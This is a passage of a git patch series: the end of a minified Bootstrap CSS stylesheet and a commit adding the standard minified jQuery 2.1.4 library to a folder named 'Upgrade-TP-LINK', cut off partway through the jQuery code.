.list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.panel-collapse>.table,.panel>.table,.panel>.table-responsive>.table{margin-bottom:0}.panel>.panel-collapse>.table caption,.panel>.table caption,.panel>.table-responsive>.table caption{padding-right:15px;padding-left:15px}.panel>.table-responsive:first-child>.table:first-child,.panel>.table:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table:first-child>thead:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table-responsive:last-child>.table:last-child,.panel>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child td,.panel>.table>tbody:first-child>tr:first-child th{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.list-group,.panel-group .panel-heading+.panel-collapse>.panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:.5}button.close{-webkit-appearance:none;padding:0;cursor:pointer;background:0 0;border:0}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out;-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);-o-transform:translate(0,-25%);transform:translate(0,-25%)}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5)}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:.5}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;filter:alpha(opacity=0);opacity:0;line-break:auto}.tooltip.in{filter:alpha(opacity=90);opacity:.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{right:5px;bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);line-break:auto}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#fff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#fff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#fff}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>a>img,.carousel-inner>.item>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-inner>.item.active.right,.carousel-inner>.item.next{left:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.carousel-inner>.item.active.left,.carousel-inner>.item.prev{left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.carousel-inner>.item.active,.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right{left:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6);background-color:rgba(0,0,0,0);filter:alpha(opacity=50);opacity:.5}.carousel-control.left{background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,.0001)));background-image:linear-gradient(to right,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);background-repeat:repeat-x}.carousel-control.right{right:0;left:auto;background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.0001)),to(rgba(0,0,0,.5)));background-image:linear-gradient(to right,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);background-repeat:repeat-x}.carousel-control:focus,.carousel-control:hover{color:#fff;text-decoration:none;filter:alpha(opacity=90);outline:0;opacity:.9}.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{position:absolute;top:50%;z-index:5;display:inline-block;margin-top:-10px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{left:50%;margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{right:50%;margin-right:-10px}.carousel-control .icon-next,.carousel-control .icon-prev{width:20px;height:20px;font-family:serif;line-height:1}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000\9;background-color:rgba(0,0,0,0);border:1px solid #fff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{width:30px;height:30px;margin-top:-10px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-10px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right!important}.pull-left{float:left!important}.hide{display:none!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-lg,.visible-md,.visible-sm,.visible-xs{display:none!important}.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block{display:none!important}@media (max-width:767px){.visible-xs{display:block!important}table.visible-xs{display:table!important}tr.visible-xs{display:table-row!important}td.visible-xs,th.visible-xs{display:table-cell!important}}@media (max-width:767px){.visible-xs-block{display:block!important}}@media (max-width:767px){.visible-xs-inline{display:inline!important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block!important}table.visible-sm{display:table!important}tr.visible-sm{display:table-row!important}td.visible-sm,th.visible-sm{display:table-cell!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block!important}table.visible-md{display:table!important}tr.visible-md{display:table-row!important}td.visible-md,th.visible-md{display:table-cell!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block!important}}@media (min-width:1200px){.visible-lg{display:block!important}table.visible-lg{display:table!important}tr.visible-lg{display:table-row!important}td.visible-lg,th.visible-lg{display:table-cell!important}}@media (min-width:1200px){.visible-lg-block{display:block!important}}@media (min-width:1200px){.visible-lg-inline{display:inline!important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block!important}}@media (max-width:767px){.hidden-xs{display:none!important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none!important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none!important}}@media (min-width:1200px){.hidden-lg{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:block!important}table.visible-print{display:table!important}tr.visible-print{display:table-row!important}td.visible-print,th.visible-print{display:table-cell!important}}.visible-print-block{display:none!important}@media print{.visible-print-block{display:block!important}}.visible-print-inline{display:none!important}@media print{.visible-print-inline{display:inline!important}}.visible-print-inline-block{display:none!important}@media print{.visible-print-inline-block{display:inline-block!important}}@media print{.hidden-print{display:none!important}} +/*# sourceMappingURL=bootstrap.min.css.map */ From 9dfcea27cacd372492089e540f1370599c2c64d7 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 16 Mar 2016 22:23:57 +0400 Subject: [PATCH 054/294] Create jquery.min.js --- Sites/Upgrade-TP-LINK/jquery.min.js | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 Sites/Upgrade-TP-LINK/jquery.min.js diff --git a/Sites/Upgrade-TP-LINK/jquery.min.js b/Sites/Upgrade-TP-LINK/jquery.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/Sites/Upgrade-TP-LINK/jquery.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return 